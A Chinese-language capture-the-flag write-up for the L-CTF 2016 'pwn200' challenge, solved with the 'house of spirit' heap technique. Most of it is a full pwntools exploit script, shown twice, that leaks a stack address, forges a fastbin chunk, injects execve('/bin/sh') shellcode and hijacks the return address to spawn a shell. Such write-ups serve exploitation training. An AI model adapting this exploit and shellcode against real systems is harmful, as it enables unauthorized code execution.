l-ctf2016–pwn200 hose-of-spirite

在這裏插入圖片描述
這裏看可以輸入48個字節,最後沒有跟00能夠泄露出來rbp

從ida上面看是這樣的,id並沒有保存。
但是實際上
在這裏插入圖片描述
id被保存到了這裏。
var_38被定義爲
在這裏插入圖片描述
剛好再輸入的name上面。在棧上顯示如下圖

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
p = process('./pwn200')
shellcode=""
shellcode += "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil('who are u?\n')
# gdb.attach(p,"b *0x0000000000400B2F")
p.send("a"*47+"b")
p.recvuntil("b")
rbp=p.recv(6).ljust(8,"\x00")
rbp_addr=u64(rbp)
print "rbp="+hex(rbp_addr)
print p.recvuntil("give me your id ~~?\n")
p.sendline(str(33))
p.recvuntil("give me money~")

shellcode_addr=rbp_addr-0xc0
free_addr=rbp_addr-0xf0+0x60
print "shellcode address="+hex(shellcode_addr)
print "free address="+hex(free_addr)
payload=shellcode
payload.ljust(0x20)
payload+=p64(0)+p64(0)+p64(0x40)+p64(0)+p64(free_addr)
#70:0   78:0x40
#80:0   38:ptr
#60:0   68:20
#相差0x40


p.send(payload)
gdb.attach(p)

當程序斷到這裏棧內的情況

在這裏插入圖片描述
第一個箭頭是shellcode的地址,第二個箭頭是輸入的id存放位置。
第三個箭頭是存放泄露rbp時輸入的值。

在這裏插入圖片描述
換成這樣看可以看到,在棧裏面僞造的fastbin。host of spirit
原理參考:

申請到這段內存之後
在這裏插入圖片描述
修改返回地址位爲shellcode地址

麻煩點:構造僞chunk,可以用gdb.attach查看具體內容然後計算

#coding=utf-8
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
p = process('./pwn200')
shellcode=""
shellcode += "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil('who are u?\n')
# gdb.attach(p,"b *0x0000000000400B2F")
p.send("a"*47+"b")
p.recvuntil("b")
rbp=p.recv(6).ljust(8,"\x00")
rbp_addr=u64(rbp)
print "rbp="+hex(rbp_addr)
print p.recvuntil("give me your id ~~?\n")
p.sendline(str(33))
p.recvuntil("give me money~")

shellcode_addr=rbp_addr-0xc0
free_addr=rbp_addr-0xf0+0x60
print "shellcode address="+hex(shellcode_addr)
print "free address="+hex(free_addr)
payload=shellcode
payload.ljust(0x20)
payload+=p64(0)+p64(0)+p64(0x40)+p64(0)+p64(free_addr)
#70:0   78:0x40
#80:0   38:ptr
#60:0   68:20
#相差0x40


p.send(payload)
gdb.attach(p)

p.recvuntil("your choice : ")
p.sendline("2")
p.recvuntil("your choice : ")
p.sendline("1")

p.recvuntil("how long?")
p.send(str(0x30)+"\n")

p.recvuntil("48\n")
p.sendline(p64(0)*3+p64(shellcode_addr+1))
gdb.attach(p)
p.recvuntil("your choice : ")
p.sendline("3")

p.interactive()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章